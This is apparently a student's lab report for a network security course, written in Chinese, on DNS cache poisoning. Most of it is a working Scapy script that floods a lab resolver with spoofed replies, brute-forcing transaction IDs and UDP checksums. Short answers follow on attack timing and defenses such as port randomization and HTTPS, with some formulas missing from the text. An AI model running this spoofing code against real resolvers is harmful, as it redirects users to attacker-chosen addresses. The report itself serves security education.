网络安全工程与实践 实验3 DNS 缓存污染攻击

1 DNS 缓存污染攻击

def make_reply(id):
    resp = IP(dst="192.168.1.3", src="39.107.126.48") / UDP(dport=10001, sport=53)
    rdata = "192.168.2.4"
    resp /= DNS(id=id, qr=1, qd=DNSQR(qname="dnslab.imool.net",qtype="A"),
                an=DNSRR(rrname="dnslab.imool.net", ttl=1800, rdata=rdata))
    return resp

id_list = [i for i in range(0, 500)]
def slow_version():
    send((IP(dst="192.168.1.3")/UDP(sport=RandShort(), dport=53)/DNS(rd=1,qd=DNSQR(qname="dnslab.imool.net",qtype="A"))))
    start_time = time.time()
    for id in id_list:
        send(make_reply(id))
    print(f"use time: {time.time() - start_time}")

id_list = [i for i in range(0, 5000)]

def change_id(dns_packet, new_id, ip_head):
    dns_packet[28] = (new_id >> 8) & 0xFF
    dns_packet[29] = new_id & 0xFF
    dns_packet[26] = 0
    dns_packet[27] = 0
    ck = in4_chksum(socket.IPPROTO_UDP, ip_head, dns_packet[20:])
    # According to RFC768 if the result checksum is 0, it should be set to 0xFFFF  # noqa: E501
    if ck == 0:
        ck = 0xFFFF
    dns_packet[26] = struct.pack("!H", ck)[0]
    dns_packet[27] = struct.pack("!H", ck)[1]

def fast_version():
    s = conf.L2socket()
    send((IP(dst="192.168.1.3")/UDP(sport=RandShort(), dport=53)/DNS(rd=1,qd=DNSQR(qname="dnslab.imool.net",qtype="A"))))
    start_time = time.time()
    reply = make_reply(0)
    raw_reply = bytearray(raw(reply))
    offset=random.randint(a=0, b=65535)
    for id in id_list:
        change_id(raw_reply, (id + offset) % 65535, reply[IP])
        s.send(raw_reply)
    print(f"send {len(id_list)} packets, use time: {time.time() - start_time}")

def dns_query_first_ip(dns_name):
    dns_result = sr1(IP(dst="192.168.1.3")/UDP(sport=RandShort(), dport=53)/DNS(rd=1,qd=DNSQR(qname=dns_name,qtype="A")))
    layer = 0
    dns_result_ip = dns_result.getlayer(DNS).fields['an'][layer].fields['rdata']
    return dns_result_ip

if __name__ == '__main__':
    times = 0
    while times < 100:
        times += 1
        fast_version()
        test_ip = dns_query_first_ip("dnslab.imool.net")
        if test_ip == "192.168.2.4":
            print("success!")
            break
        else:
            print(f"error with ip {test_ip}")
            print(f"try {times} times")
        time.sleep(10)

2 HTTP 中间人劫持攻击

3 思考题

• 请多次尝试上述实验并记录攻击成功所需的时间，并对攻击成功所需的时间进行理论分析，思考如何进一步提高攻击效率。
在本次实验中，我的攻击成功时间为 12 分钟左右。通过 wireshark 抓包分析可知在真实的 DNS 响应包到来之前 DNS server 可以接受大约 2300 个伪造包，于是理论成功时间为 ，大约需要 5 分钟。（可能是我脸比较黑，所以花了两倍的时间）
提高攻击效率的重点在于提高发包速度。目前的构造包的方法需要动态更新 id 和 checksum ，但其实可以提前把包构造好并放入内存，之后直接发送会快一些。

• 如果在上述实验条件下（TXID随即化）的同时开放源端口随机化，可以完全防御缓存污染攻击吗？
可以在一定程度上防范。例如对于我的程序，当开放源端口随机化之后，攻破时间就变成了 ，约为 216 天。实际上，由于现实中可能不会把 ttl 仅设置为 10 秒，所以实际需要的攻击事件还会更多。这在很大程度上可以防范缓存污染攻击，但并不能完全避免。

• 思考如何有效的防御 DNS 缓存污染攻击、HTTP 中间人攻击？
对于 DNS 攻击，端口随机化可以有效防御。但彻底的防御可能需要对 DNS 包进行加密。而 HTTP 中间人攻击可以用 HTTPS 协议的方式进行防御。